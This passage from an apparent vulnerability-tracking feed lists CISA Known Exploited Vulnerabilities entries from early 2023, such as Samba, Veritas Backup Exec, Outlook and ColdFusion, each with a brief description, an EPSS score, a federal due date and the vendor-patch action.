IOSurfaceAccelerator Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2023-28206 Apple iOS, iPadOS, and macOS IOSurfaceAccelerator Out-of-Bounds Write Vulnerability (Apr 10, 2023). Apple iOS, iPadOS, and macOS IOSurfaceAccelerator contain an out-of-bounds write vulnerability that allows an app to execute code with kernel privileges. EPSS 23.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28206&date=2026-10-25). Sources: CISA KEV entry CVE-2023-28206: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28206&date=2026-10-25 CISA added this entry on 2023-04-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 10, 2023; federal due date May 1, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Veritas Backup Exec Agent File Access Vulnerability https://kevwire.com/record/CVE-2021-27876 Veritas Backup Exec Agent File Access Vulnerability (Apr 7, 2023). Veritas Backup Exec (BE) Agent contains a file access vulnerability that could allow an attacker to specially craft input parameters on a data management protocol command to access files on the BE Agent machine. EPSS 13.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27876&date=2026-10-25). Sources: CISA KEV entry CVE-2021-27876: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27876&date=2026-10-25 CISA added this entry on 2023-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 7, 2023; federal due date Apr 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Veritas Backup Exec Agent Improper Authentication Vulnerability https://kevwire.com/record/CVE-2021-27877 Veritas Backup Exec Agent Improper Authentication Vulnerability (Apr 7, 2023). Veritas Backup Exec (BE) Agent contains an improper authentication vulnerability that could allow an attacker unauthorized access to the BE Agent via SHA authentication scheme. EPSS 64.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27877&date=2026-10-25). Sources: CISA KEV entry CVE-2021-27877: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27877&date=2026-10-25 CISA added this entry on 2023-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 7, 2023; federal due date Apr 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Veritas Backup Exec Agent Command Execution Vulnerability https://kevwire.com/record/CVE-2021-27878 Veritas Backup Exec Agent Command Execution Vulnerability (Apr 7, 2023). Veritas Backup Exec (BE) Agent contains a command execution vulnerability that could allow an attacker to use a data management protocol command to execute a command on the BE Agent machine. EPSS 24.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27878&date=2026-10-25). Sources: CISA KEV entry CVE-2021-27878: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27878&date=2026-10-25 CISA added this entry on 2023-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 7, 2023; federal due date Apr 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Certificate Dialog Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2019-1388 Microsoft Windows Certificate Dialog Privilege Escalation Vulnerability (Apr 7, 2023). Microsoft Windows Certificate Dialog contains a privilege escalation vulnerability, allowing attackers to run processes in an elevated context. EPSS 8.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1388&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1388: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1388&date=2026-10-25 CISA added this entry on 2023-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 7, 2023; federal due date Apr 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Arm Mali GPU Kernel Driver Information Disclosure Vulnerability https://kevwire.com/record/CVE-2023-26083 Arm Mali GPU Kernel Driver Information Disclosure Vulnerability (Apr 7, 2023). Arm Mali GPU Kernel Driver contains an information disclosure vulnerability that allows a non-privileged user to make valid GPU processing operations that expose sensitive kernel metadata. EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-26083&date=2026-10-25). Sources: CISA KEV entry CVE-2023-26083: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-26083&date=2026-10-25 CISA added this entry on 2023-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 7, 2023; federal due date Apr 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2022-27926 Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability (Apr 3, 2023). Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability by allowing an endpoint URL to accept parameters without sanitizing. EPSS 17.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-27926&date=2026-10-25). Sources: CISA KEV entry CVE-2022-27926: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-27926&date=2026-10-25 CISA added this entry on 2023-04-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 3, 2023; federal due date Apr 24, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Memory Corruption Vulnerability https://kevwire.com/record/CVE-2013-3163 Microsoft Internet Explorer Memory Corruption Vulnerability (Mar 30, 2023). Microsoft Internet Explorer contains a memory corruption vulnerability that allows remote attackers to execute code or cause a denial of service via a crafted website. EPSS 70.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3163&date=2026-10-25). Sources: CISA KEV entry CVE-2013-3163: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3163&date=2026-10-25 CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samba Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-7494 Samba Remote Code Execution Vulnerability (Mar 30, 2023). Samba contains a remote code execution vulnerability, allowing a malicious client to upload a shared library to a writable share and then cause the server to load and execute it. EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-7494&date=2026-10-25). Sources: CISA KEV entry CVE-2017-7494: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-7494&date=2026-10-25 CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortra Cobalt Strike User Interface Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-42948 Fortra Cobalt Strike User Interface Remote Code Execution Vulnerability (Mar 30, 2023). Fortra Cobalt Strike User Interface contains an unspecified vulnerability rooted in Java Swing that may allow remote code execution. EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-42948&date=2026-10-25). Sources: CISA KEV entry CVE-2022-42948: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-42948&date=2026-10-25 CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortra Cobalt Strike Teamserver Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2022-39197 Fortra Cobalt Strike Teamserver Cross-Site Scripting (XSS) Vulnerability (Mar 30, 2023). Fortra Cobalt Strike contains a cross-site scripting (XSS) vulnerability in Teamserver that would allow an attacker to set a malformed username in the Beacon configuration, allowing them to execute code remotely. EPSS 46.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-39197&date=2026-10-25). Sources: CISA KEV entry CVE-2022-39197: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-39197&date=2026-10-25 CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS, iPadOS, and macOS Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2021-30900 Apple iOS, iPadOS, and macOS Out-of-Bounds Write Vulnerability (Mar 30, 2023). Apple GPU drivers, included in iOS, iPadOS, and macOS, contain an out-of-bounds write vulnerability that may allow a malicious application to execute code with kernel privileges. EPSS 5.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30900&date=2026-10-25). Sources: CISA KEV entry CVE-2021-30900: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30900&date=2026-10-25 CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Arm Mali GPU Kernel Driver Use-After-Free Vulnerability https://kevwire.com/record/CVE-2022-38181 Arm Mali GPU Kernel Driver Use-After-Free Vulnerability (Mar 30, 2023). Arm Mali GPU Kernel Driver contains a use-after-free vulnerability that may allow a non-privileged user to gain root privilege and/or disclose information. EPSS 18.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-38181&date=2026-10-25). Sources: CISA KEV entry CVE-2022-38181: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-38181&date=2026-10-25 CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Use-After-Free Vulnerability https://kevwire.com/record/CVE-2023-0266 Linux Kernel Use-After-Free Vulnerability (Mar 30, 2023). Linux kernel contains a use-after-free vulnerability that allows for privilege escalation to gain ring0 access from the system user. EPSS 3.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-0266&date=2026-10-25). Sources: CISA KEV entry CVE-2023-0266: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-0266&date=2026-10-25 CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium Network Service Use-After-Free Vulnerability https://kevwire.com/record/CVE-2022-3038 Google Chromium Network Service Use-After-Free Vulnerability (Mar 30, 2023). Google Chromium Network Service contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 24.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-3038&date=2026-10-25). Sources: CISA KEV entry CVE-2022-3038: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-3038&date=2026-10-25 CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Arm Mali GPU Kernel Driver Unspecified Vulnerability https://kevwire.com/record/CVE-2022-22706 Arm Mali GPU Kernel Driver Unspecified Vulnerability (Mar 30, 2023). Arm Mali GPU Kernel Driver contains an unspecified vulnerability that allows a non-privileged user to achieve write access to read-only memory pages. EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22706&date=2026-10-25). Sources: CISA KEV entry CVE-2022-22706: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22706&date=2026-10-25 CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 30, 2023; federal due date Apr 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe ColdFusion Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2023-26360 Adobe ColdFusion Deserialization of Untrusted Data Vulnerability (Mar 15, 2023). Adobe ColdFusion contains a deserialization of untrusted data vulnerability that allows for remote code execution. EPSS 97.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-26360&date=2026-10-25). Sources: CISA KEV entry CVE-2023-26360: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-26360&date=2026-10-25 CISA added this entry on 2023-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2023; federal due date Apr 5, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Outlook Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-23397 Microsoft Office Outlook Privilege Escalation Vulnerability (Mar 14, 2023). Microsoft Office Outlook contains a privilege escalation vulnerability that allows for a NTLM Relay attack against another service to authenticate as the user. EPSS 97.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-23397&date=2026-10-25). Sources: CISA KEV entry CVE-2023-23397: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-23397&date=2026-10-25 CISA added this entry on 2023-03-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 14, 2023; federal due date Apr 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows SmartScreen Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2023-24880 Microsoft Windows SmartScreen Security Feature Bypass Vulnerability (Mar 14, 2023). Microsoft Windows SmartScreen contains a security feature bypass vulnerability that could allow an attacker to evade Mark of the Web (MOTW) defenses via a specially crafted malicious file. EPSS 78.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-24880&date=2026-10-25). Sources: CISA KEV entry CVE-2023-24880: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-24880&date=2026-10-25 CISA added this entry on 2023-03-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 14, 2023; federal due date Apr 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiOS Path Traversal Vulnerability https://kevwire.com/record/CVE-2022-41328 Fortinet FortiOS Path Traversal Vulnerability (Mar 14, 2023). Fortinet FortiOS contains a path traversal vulnerability that may allow a local privileged attacker to read and write files via crafted CLI commands. EPSS 10.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41328&date=2026-10-25). Sources: CISA KEV entry CVE-2022-41328: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41328&date=2026-10-25 CISA added this entry on 2023-03-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 14, 2023; federal due date Apr 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### XStream Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2021-39144 XStream Remote Code Execution Vulnerability (Mar 10, 2023). XStream contains a remote code execution vulnerability that allows an attacker to manipulate the processed input stream and replace or inject objects that result in the execution of a local command on the server. This vulnerability can affect multiple products, including but not limited to VMware Cloud Foundation. EPSS 98.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-39144&date=2026-10-25). Sources: CISA KEV entry CVE-2021-39144: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-39144&date=2026-10-25 CISA added this entry on 2023-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 10, 2023; federal due date Mar 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Plex Media Server Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2020-5741 Plex Media Server Remote Code Execution Vulnerability (Mar 10, 2023). Plex Media Server contains a remote code execution vulnerability that allows an attacker with access to the server administrator's Plex account to upload a malicious file via the Camera Upload feature and have the media server execute it. EPSS 72.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-5741&date=2026-10-25). Sources: CISA KEV entry CVE-2020-5741: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-5741&date=2026-10-25 CISA added this entry on 2023-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 10, 2023; federal due date Mar 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zoho ManageEngine ADSelfService Plus Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-28810 Zoho ManageEngine ADSelfService Plus Remote Code Execution Vulnerability (Mar 7, 2023). Zoho ManageEngine ADSelfService Plus contains an unspecified vulnerability allowing for remote code execution when performing a password change or reset. EPSS 71.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-28810&date=2026-10-25). Sources: CISA KEV entry CVE-2022-28810: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-28810&date=2026-10-25 CISA added this entry on 2023-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 7, 2023; federal due date Mar 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache Spark Command Injection Vulnerability https://kevwire.com/record/CVE-2022-33891 Apache Spark Command Injection Vulnerability (Mar 7, 2023). Apache Spark contains a command injection vulnerability via Spark User Interface (UI) when Access Control Lists (ACLs) are enabled. EPSS 93.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-33891&date=2026-10-25). Sources: CISA KEV entry CVE-2022-33891: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-33891&date=2026-10-25 CISA added this entry on 2023-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 7, 2023; federal due date Mar 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Teclib GLPI Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-35914 Teclib GLPI Remote Code Execution Vulnerability (Mar 7, 2023). Teclib GLPI contains a remote code execution vulnerability in the third-party library, htmlawed. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-35914&date=2026-10-25). Sources: CISA KEV entry CVE-2022-35914: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-35914&date=2026-10-25 CISA added this entry on 2023-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 7, 2023; federal due date Mar 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ZK Framework AuUploader Unspecified Vulnerability https://kevwire.com/record/CVE-2022-36537 ZK Framework AuUploader Unspecified Vulnerability (Feb 27, 2023). ZK Framework AuUploader servlets contain an unspecified vulnerability that could allow an attacker to retrieve the content of a file located in the web context. The ZK Framework is an open-source Java framework. This vulnerability can impact multiple products, including but not limited to ConnectWise R1Soft Server Backup Manager. EPSS 95.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-36537&date=2026-10-25). Sources: CISA KEV entry CVE-2022-36537: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-36537&date=2026-10-25 CISA added this entry on 2023-02-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 27, 2023; federal due date Mar 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### IBM Aspera Faspex Code Execution Vulnerability https://kevwire.com/record/CVE-2022-47986 IBM Aspera Faspex Code Execution Vulnerability (Feb 21, 2023). IBM Aspera Faspex could allow a remote attacker to execute code on the system, caused by a YAML deserialization flaw. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-47986&date=2026-10-25). Sources: CISA KEV entry CVE-2022-47986: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-47986&date=2026-10-25 CISA added this entry on 2023-02-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 21, 2023; federal due date Mar 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 